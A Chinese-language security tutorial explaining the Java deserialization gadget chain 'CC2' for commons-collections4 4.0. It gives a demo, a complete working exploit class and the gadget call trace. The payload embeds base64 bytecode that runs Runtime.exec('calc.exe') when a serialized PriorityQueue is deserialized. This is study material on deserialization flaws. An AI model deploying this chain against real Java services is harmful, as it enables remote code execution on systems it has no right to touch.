java反序列化–cc2#

环境:jdk8u65;commons-collections4.0

影响版本:几乎覆盖了jdk1.8所有版本(在未启用jdk.serialFilter的情况下),我目前尝试了jdk8u401是可以执行的

<dependency>
    <groupId>org.apache.commons</groupId>
    <artifactId>commons-collections4</artifactId>
    <version>4.0</version>
</dependency>

cc2这条链很巧妙地把之前我们学习到的transformer数组和TemplatesImpl字节码加载串联了起来,它使用invokerTransformer.transform()去调用TemplatesImpl.newTransformer(),之后直接使用TransformingComparator.compare()方法调用invokerTransformer.transform()。TransformingComparator.compare()之前的链条和cc4相同,TemplatesImpl.newTransformer()之后的链条和cc3相同,因此我们主要来看TransformingComparator.compare()–>invokerTransformer.transform()–>TemplatesImpl.newTransformer()这三者的关系。

https://kiiy.cc/web/javasec/java%e5%8f%8d%e5%ba%8f%e5%88%97%e5%8c%96-cc4.html

https://kiiy.cc/web/javasec/java%e5%8f%8d%e5%ba%8f%e5%88%97%e5%8c%96-%e8%b7%8c%e5%ae%95%e8%b5%b7%e4%bc%8f%e7%9a%84cc3.html

demo

package testCode;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.comparators.TransformingComparator;

import java.lang.reflect.Field;
import java.util.Base64;
import java.util.Comparator;

public class Test {
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
    
    public static void main(String[] args) throws Exception{
        byte[] code = Base64.getDecoder().decode("yv66vgAAADQAIQoABgATCgAUABUIABYKABQAFwcAGAcAGQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgcAGwEAClNvdXJjZUZpbGUBABZDYWxjVGVtcGxhdGVzSW1wbC5qYXZhDAAOAA8HABwMAB0AHgEACGNhbGMuZXhlDAAfACABACRCeXRlc0NvZGVHZW5lcmF0b3IvQ2FsY1RlbXBsYXRlc0ltcGwBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQATamF2YS9pby9JT0V4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAYAAAAAAAMAAQAHAAgAAgAJAAAAGQAAAAMAAAABsQAAAAEACgAAAAYAAQAAAAwACwAAAAQAAQAMAAEABwANAAIACQAAABkAAAAEAAAAAbEAAAABAAoAAAAGAAEAAAAOAAsAAAAEAAEADAABAA4ADwACAAkAAAAuAAIAAQAAAA4qtwABuAACEgO2AARXsQAAAAEACgAAAA4AAwAAABAABAARAA0AEgALAAAABAABABAAAQARAAAAAgAS");
        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes", new byte[][] {code});
        setFieldValue(obj, "_name", "HelloTemplatesImpl");
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

        Transformer transformer = new InvokerTransformer("newTransformer", null, null);

        Comparator comparator = new TransformingComparator(transformer);
        comparator.compare(obj, obj);
    }
}

TransformingComparator.compare()#

demo中new了一个TransformingComparator对象,并且将invokertransformer对象传入了构造函数中,同时调用compare方法,compare方法中的obj对象是TemplatesImpl对象

Comparator comparator = new TransformingComparator(transformer);
comparator.compare(obj, obj);

image-20250407151328270

InvokerTransformer.transform()#

demo中new了一个InvokerTransformer对象,将newTransformer方法名赋值给到iMethodName

Transformer transformer = new InvokerTransformer("newTransformer", null, null);

TransformingComparator.compare()又调用了InvokerTransformer.transform(),传入的对象是TemplatesImpl对象,根据transform的逻辑,首先会获取到TemplatesImpl.newTransformer(),然后进行invoke调用。TemplatesImpl.newTransformer()不需要参数,所以传入的iParamTypes和iArgs字段都为null。

image-20250407151704608

此时就成功调用到了TemplatesImpl.newTransformer(),后续的链条和cc3相同,不再赘述,给出完整payload

payload

package commonscollections4;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.comparators.TransformingComparator;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.Comparator;
import java.util.PriorityQueue;

public class CC2 {
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public static void main(String[] args) throws Exception{
        byte[] code = Base64.getDecoder().decode("yv66vgAAADQAIQoABgATCgAUABUIABYKABQAFwcAGAcAGQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgcAGwEAClNvdXJjZUZpbGUBABZDYWxjVGVtcGxhdGVzSW1wbC5qYXZhDAAOAA8HABwMAB0AHgEACGNhbGMuZXhlDAAfACABACRCeXRlc0NvZGVHZW5lcmF0b3IvQ2FsY1RlbXBsYXRlc0ltcGwBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQATamF2YS9pby9JT0V4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAYAAAAAAAMAAQAHAAgAAgAJAAAAGQAAAAMAAAABsQAAAAEACgAAAAYAAQAAAAwACwAAAAQAAQAMAAEABwANAAIACQAAABkAAAAEAAAAAbEAAAABAAoAAAAGAAEAAAAOAAsAAAAEAAEADAABAA4ADwACAAkAAAAuAAIAAQAAAA4qtwABuAACEgO2AARXsQAAAAEACgAAAA4AAwAAABAABAARAA0AEgALAAAABAABABAAAQARAAAAAgAS");
        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes", new byte[][] {code});
        setFieldValue(obj, "_name", "HelloTemplatesImpl");
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

        Transformer transformer = new InvokerTransformer("toString", null, null);

        Comparator comparator = new TransformingComparator(transformer);
        PriorityQueue queue = new PriorityQueue(2, comparator);
        queue.add(obj);
        queue.add(obj);
        setFieldValue(transformer, "iMethodName", "newTransformer");

        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("obj.ser"));
        out.writeObject(queue);
        out.close();

        ObjectInputStream in = new ObjectInputStream(new FileInputStream("obj.ser"));
        in.readObject();
        in.close();
    }
}

gadget#

PriorityQueue.readObject()
    PriorityQueue.heapify()
        PriorityQueue.siftDown()
            PriorityQueue.siftDownUsingComparator()
                TransformingComparator.compare()
    				InvokerTransformer.transform()
						TemplatesImpl.newTransformer()
							TemplatesImpl.getTransletInstance()
								TemplatesImpl.defineTransletClasses()
									TransletClassLoader.defineClass()